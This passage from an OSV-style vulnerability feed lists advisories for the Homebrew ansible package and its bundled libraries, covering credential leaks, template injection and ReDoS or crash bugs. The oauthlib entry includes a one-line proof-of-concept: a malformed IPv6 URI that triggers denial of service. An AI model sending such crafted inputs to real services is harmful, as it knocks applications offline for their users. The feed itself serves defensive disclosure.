5:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-3447","PYSEC-2021-107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3533","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["PYSEC-2021-126","CVE-2021-3533"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"}]},"details":"A flaw was found in Ansible if an ansible user sets ANSIBLE_ASYNC_DIR to a subdirectory of a world writable directory. When this occurs, there is a race condition on the managed machine. A malicious, non-privileged account on the remote machine can exploit the race condition to access the async result data. This flaw affects Ansible Tower 3.7 and Ansible Automation Platform 1.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1956477"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-3583","GHSA-2pfh-q76x-gwvm","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2021-3620","GHSA-4r65-35qq-ch8j","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.27"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine's ansible-connection module, where sensitive information such as the Ansible user credentials is disclosed by default in the traceback error message. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/blob/stable-2.9/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1975767"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/fe28767970c8ec62aabe493c46b53a5de1e5fac0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-43818","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-55x5-fj6c-h6m8","CVE-2021-43818","PYSEC-2021-852"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"5.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml's HTML Cleaner allows crafted and SVG embedded scripts to pass through","details":"### Impact\nThe HTML Cleaner in lxml.html lets certain crafted script content pass through, as well as script content in SVG files embedded using data URIs.\n\nUsers that employ the HTML cleaner in a security relevant context should upgrade to lxml 4.6.5.\n\n### Patches\nThe issue has been resolved in lxml 4.6.5.\n\n### Workarounds\nNone.\n\n### References\nThe issues are tracked under the report IDs GHSL-2021-1037 and GHSL-2021-1038.\n","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lxml/lxml/security/advisories/GHSA-55x5-fj6c-h6m8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-43818"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/12fa9669007180a7bb87d990c375cf91ca5b664a"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a3eacbc0dcf1de1c822ec29fb7d090a4b1712a9c#diff-59130575b4fb2932c957db2922977d7d89afb0b2085357db1a14615a2fcad776"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/f2330237440df7e8f39c3ad1b1aa8852be3b27c0"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"},{"type":"WEB","url":"https://www.debian.org/security/2022/dsa-5043"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220107-0005"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZQ4SPKJX3RRJK4UWA6FXCRHD2TVRQI44"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WZGNET2A4WGLSUXLBFYKNC5PXHQMI3I7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/V2XMOM5PFT6U5AAXY6EFNT5JZCKKHK2V"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TUIS2KE3HZ2AAQKXFLTJFZPP2IFHJTC7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00037.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2021-852.yaml"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2021-46823","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-qfr5-wjpw-q4c4","CVE-2021-46823","GHSA-r8wq-qrxc-hmcm","PYSEC-2026-912"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.0","resource":"python-ldap","resource_purl":"pkg:pypi/python-ldap@3.4.8"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"python-ldap","subject_version":"3.4.8","key":"pkg:pypi/python-ldap@3.4.8","resource":"python-ldap"}]},"summary":"Denial of Service in python-ldap","details":"python-ldap before 3.4.0 is vulnerable to a denial of service when ldap.schema is used for untrusted schema definitions, because of a regular expression denial of service (ReDoS) flaw in the LDAP schema parser. By sending crafted regex input, a remote authenticated attacker could exploit this vulnerability to cause a denial of service condition.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r8wq-qrxc-hmcm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-46823"},{"type":"WEB","url":"https://exchange.xforce.ibmcloud.com/vulnerabilities/221507"},{"type":"PACKAGE","url":"https://github.com/python-ldap/python-ldap"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-0718","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:32Z","upstream":["GHSA-wmqq-r32m-87c5","CVE-2022-0718","PYSEC-2022-258"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.1_1"},{"fixed":"4.8.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.10.1","resource":"oslo-utils","resource_purl":"pkg:pypi/oslo-utils@10.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oslo-utils","subject_version":"10.2.0","key":"pkg:pypi/oslo-utils@10.2.0","resource":"oslo-utils"}]},"summary":"python-oslo-utils has improper password parsing","details":"A flaw was found in python-oslo-utils. Due to improper parsing, passwords with a double quote ( \" ) in them cause incorrect masking in debug logs, causing any part of the password after the double quote to be plaintext","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-0718"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2022:0993"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2022:8873"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2022-0718"},{"type":"WEB","url":"https://bugs.launchpad.net/oslo.utils/+bug/1949623"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2056850"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wmqq-r32m-87c5"},{"type":"PACKAGE","url":"https://github.com/openstack/oslo.utils"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oslo-utils/PYSEC-2022-258.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/09/msg00015.html"},{"type":"WEB","url":"https://opendev.org/openstack/oslo.utils/commit/6e17ae1f7959c64dfd20a5f67edf422e702426aa"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2022-0718"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-2309","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-wrxv-2j5q-m38w","CVE-2022-2309","PYSEC-2022-230"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"6.1.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.9.1","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml NULL Pointer Dereference allows attackers to cause a denial of service","details":"NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-2309"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/86368e9cf70a0ad23cccd5ee32de847149af0c6f"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wrxv-2j5q-m38w"},{"type":"PACKAGE","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/lxml/lxml/blob/master/CHANGES.txt"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2022-230.yaml"},{"type":"WEB","url":"https://huntr.dev/bounties/8264e74f-edda-4c40-9956-49de635105ba"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00021.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HGYC6L7ENH5VEGN3YWFBYMGKX6WNS7HZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/URHHSIBTPTALXMECRLAC2EVDNAFSR5NO"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202208-06"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220915-0006"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-24302","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-f8q4-jwww-x3wv","CVE-2022-24302","PYSEC-2022-166"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"5.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.1.0","key":"pkg:pypi/paramiko@5.1.0","resource":"paramiko"}]},"summary":"Race Condition in Paramiko","details":"In Paramiko before 2.10.1, a race condition (between creation and chmod) in the write_private_key_file function could allow unauthorized information disclosure.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24302"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/commit/4c491e299c9b800358b16fa4886d8d94f45abe2e"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f8q4-jwww-x3wv"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/blob/363a28d94cada17f012c1604a3c99c71a2bda003/paramiko/pkey.py#L546"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2022-166.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/03/msg00032.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/09/msg00013.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LUEUEGILZ7MQXRSUF5VMMO4SWJQVPTQL"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/TPMKRUS4HO3P7NR7P4Y6CLHB4MBEE3AI"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U63MJ2VOLLQ35R7CYNREUHSXYLWNPVSB"},{"type":"WEB","url":"https://www.paramiko.org/changelog.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-36087","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-3pgj-pg6c-r5p7","CVE-2022-36087","PYSEC-2022-269"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"6.6.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.2.2","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.1","key":"pkg:pypi/oauthlib@4.0.1","resource":"oauthlib"}]},"summary":"OAuthLib vulnerable to DoS when attacker provides malicious IPV6 URI","details":"### Impact\n- Attacker providing malicious redirect uri can cause DoS to oauthlib's web application.\n- Attacker can also leverage usage of `uri_validate` functions depending where it is used.\n\n_What kind of vulnerability is it? Who is impacted?_\n\nOauthlib applications using OAuth2.0 provider support or use directly `uri_validate` function.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIssue fixed in 3.2.2 release.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nThe `redirect_uri` can be verified in web toolkit (i.e `bottle-oauthlib`, `django-oauth-toolkit`, ...) before oauthlib is called. A sample check if `:` is present to reject the request can prevent the DoS, assuming no port or IPv6 is fundamentally required.\n\n### References\nAttack Vector:\n- Attacker providing malicious redirect uri:\nhttps://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232\n- Vulnerable `uri_validate` functions:\nhttps://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py\n\n### PoC\n```python\nis_absolute_uri(\"http://[:::::::::::::::::::::::::::::::::::::::]/path\")\n```\n\n### Acknowledgement\nSpecial thanks to Sebastian Chnelik - PyUp.io","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3pgj-pg6c-r5p7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-36087"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/2e40b412c844ecc4673c3fa3f72181f228bdbacd"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/blob/2b8a44855a51ad5a5b0c348a08c2564a2e197ea2/oauthlib/uri_validate.py"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/blob/d4bafd9f1d0eba3766e933b1ac598cbbf37b8914/oauthlib/oauth2/rfc6749/grant_types/base.py#L232"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v3.2.1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2022-269.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LXOPIA6M57CFQPUT6HHSNXCTV6QA3UDI"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NBCQJR3ZF7FVNTJYRVPVSQEQRAYZIUHU"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QRYLYHE5HWF6R2CRLJFUK4PILR47WXOE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X2CQZM5CKOUM4GW2GTAPQEQFPITQ6F7S"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-3697","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2022-3697","GHSA-cpx3-93w7-457x","PYSEC-2026-768"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"7.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible leaks password to logs","details":"A flaw was found in Ansible in the amazon.aws collection when using the `tower_callback` parameter from the `amazon.aws.ec2_instance` module. This flaw allows an attacker to take advantage of this issue as the module is handling the parameter insecurely, leading to the password leaking in the logs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-3697"},{"type":"WEB","url":"https://github.com/ansible-collections/amazon.aws/pull/1199"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/35749"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/main/6/CHANGELOG-v6.rst"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-40896","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-mrwq-x4v8-fh7p","CVE-2022-40896","PYSEC-2023-117"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.15.0","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Pygments vulnerable to ReDoS","details":"A ReDoS issue was discovered in `pygments/lexers/smithy.py` in Pygments until 2.15.0 via SmithyLexer.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-40896"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/97eb3d5ec7c1b3ea4fcf9dee30a2309cf92bd194"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/dd52102c38ebe78cd57748e09f38929fd283ad04"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/fdf182a7af85b1deeeb637ca970d31935e7c9d52"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pygments/pygments/blob/master/pygments/lexers/smithy.py#L61"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2023-117.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EZGMXALE3HSP4OXC7UUWIKX3OXKZDTY3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VUZO4BQCIY2S2KZYHERQMKURB7AHXDBO"},{"type":"WEB","url":"https://pypi.org/project/Pygments"},{"type":"WEB","url":"https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages-part-2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2022-40897","published":"2026-08-13T16:35:22Z","modified":"2026-10-29T21:32:40Z","upstream":["GHSA-r9hx-vwmv-q579","BIT-setuptools-2022-40897","CVE-2022-40897","PYSEC-2022-43012"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"}]}],"ecosystem_specific":{"